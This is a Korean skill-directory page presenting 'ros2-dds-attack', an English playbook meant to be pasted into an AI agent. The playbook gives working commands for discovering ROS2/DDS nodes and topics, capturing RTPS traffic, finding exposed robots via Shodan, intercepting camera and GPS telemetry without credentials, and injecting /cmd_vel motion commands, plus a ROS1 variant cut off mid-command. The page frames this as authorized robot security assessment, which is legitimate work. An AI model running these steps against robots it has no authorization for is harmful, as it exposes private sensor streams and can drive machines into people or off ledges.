본문으로 건너뛰기
Skillpedia
보안6.5k · #14101

ros2-dds-attack

하는 일

이 가이드는 센서와 제어 메시지를 DDS로 공유하는 ROS2 로봇 네트워크의 보안 점검을 다룹니다. 메시지가 실제 로봇에 영향을 줄 수 있으므로 명시적 승인을 받은 로봇 팀과 테스터를 위한 것입니다.

사용하는 경우

  • ✓로봇 팀이 같은 네트워크의 모든 장치에서 오는 트래픽을 로봇이 받아들이는지 확인하려는 경우.
  • ✓허가된 평가에서 로봇이 발행하는 토픽 목록을 파악해야 할 때.
  • ✓로봇이 실제 환경에서 작동 중이고 어떤 메시지든 물리적 피해를 줄 수 있는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 로봇은 공유 네트워크에서 ROS2를 씁니다. 명령을 보내지 않고 다른 장치에 어떤 토픽이 보이는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 네트워크 멀티캐스트 설정을 확인하고, 수동 관찰로 보이는 토픽과 노드를 나열하며, 다른 장치가 읽을 수 있는 내용을 보고합니다. 메시지는 발행하지 않습니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

ROS2 / DDS Attack Playbook

Authorized use only. ROS2 engagement requires explicit RoE scoping the robot platform as in-scope. Message injection on a live robot can cause physical harm. Confirm safety_critical_confirmed=true in the active OPPLAN before any publish/inject step.

Background

ROS2 (Robot Operating System 2) uses DDS (Data Distribution Service) as its transport layer. By default, DDS operates in multicast discovery mode on the local network segment with no authentication and no encryption. Any host on the same subnet can enumerate all nodes and topics, subscribe to sensor streams, and publish commands to actuators. CAI's research on the Unitree G1 humanoid robot (2025) confirmed 20+ exposed ROS2/DDS topics carrying audio, video, GPS, and motor telemetry over an unauthenticated DDS domain.

Phase 1 — Discovery

Network prerequisites

ROS2 DDS discovery uses UDP multicast (239.255.0.1, port 7400 by default for Fast-DDS; 239.255.0.2 for CycloneDDS). The attacker machine must be on the same Layer-2 segment or the network must pass multicast.

# Verify multicast reachability
ip route show | grep -i multicast
ping -c 3 239.255.0.1

# Passive DDS traffic capture (identify domain IDs in use)
sudo tshark -i <iface> -Y rtps -T fields \
  -e ip.src -e ip.dst -e rtps.domain_id -e rtps.guid_prefix \
  -l 2>/dev/null | sort -u | head -40

ROS2 node and topic enumeration

If the attacker can install ros2 CLI tools (available in a Docker container on the attacker host — no robot-side access required):

# Pull a minimal ROS2 humble image
docker run --rm --net=host \
  ros:humble \
  bash -c "source /opt/ros/humble/setup.bash && ros2 node list && ros2 topic list -t"

Without Docker, use the raw DDS discovery sniffer ddsspy or rtpspy:

# rclpy-based passive enumeration (Python, no ROS2 install on attacker)
pip install cyclonedds  # pure-Python DDS implementation
python3 - <<'EOF'
import cyclonedds.core, cyclonedds.domain, cyclonedds.topic
import time

dp = cyclonedds.domain.Domain(0)          # domain_id=0 is default
sub = cyclonedds.core.Subscriber(dp)
# List discovered topics after 10s passive window
time.sleep(10)
for t in dp.lookup_topicdescriptions():
    print(t.name, t.type_name)
EOF

Shodan / Censys pivot (remote assessment)

Shodan indexes open DDS / RTPS ports. Query for exposed ROS2 stacks reachable from the Internet (rare but documented in robotics fleets):

shodan search 'port:7400 product:"RTPS"'

Phase 2 — Telemetry Interception

Subscribe to any topic without credentials:

docker run --rm --net=host ros:humble \
  bash -c "source /opt/ros/humble/setup.bash && \
           ros2 topic echo /camera/image_raw --no-arr | head -50"

# Capture raw DDS traffic for offline analysis
sudo tcpdump -i <iface> -w /tmp/ros2_capture.pcap \
  'udp and (port 7400 or port 7401 or portrange 7410-7500)'

Topics of particular interest on robotic platforms:

Topic pattern Content
/cmd_vel Velocity commands (Twist msg — direct actuator control)
/joint_states Motor encoder data
/camera/* Camera streams
/gps/fix or /NavSatFix GPS telemetry
/rosout System log (reveals software versions, errors)
/tf / /tf_static Coordinate transform tree (reveals robot geometry)
/diagnostics Hardware diagnostics

Phase 3 — Message Injection (GATED — write-scope only)

STOP. Confirm safety_critical_confirmed=true + operator signature at /workspace/safety-attestation.txt before executing any publish command. A single malformed /cmd_vel can drive a robot into a person or off a ledge.

# Publish a zero-velocity stop command (safest inject for PoC)
docker run --rm --net=host ros:humble \
  bash -c "source /opt/ros/humble/setup.bash && \
           ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
           '{linear: {x: 0.0}, angular: {z: 0.0}}'"

# For full PoC with a non-zero command (requires explicit PoC approval):
# ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
#   '{linear: {x: 0.1}, angular: {z: 0.0}}'

MiR (Mobile Industrial Robot) ROS1 variant

MiR robots run ROS1 (not ROS2). The attack surface is the same but uses rostopic / rosnode instead of ros2:

export ROS_MASTER_URI=http://<robot_ip>:11311
export ROS_IP=<attacker_ip>
rostopic list
rostopic echo /robot_state
# Inject alarm trigger
rostopic pub /mir_cmd_
자주 묻는 질문

DDS란 무엇인가요?

ROS2가 로봇 구성 요소 사이에서 메시지를 보낼 때 쓰는 전송 계층입니다.

탐색은 안전한가요?

수동 탐색이 첫 단계입니다. 가이드는 메시지 발행이나 주입에는 안전 확인이 필요하다고 말합니다.

왜 물리적 위험이 있나요?

가이드는 실제 로봇에 메시지를 주입하면 물리적 피해를 일으킬 수 있다고 설명합니다.

상세 정보

작성자의 원본 설명

ROS2/DDS network attack: unauthenticated topic enumeration, message injection, and telemetry interception against robotic platforms and autonomous systems.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14101
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬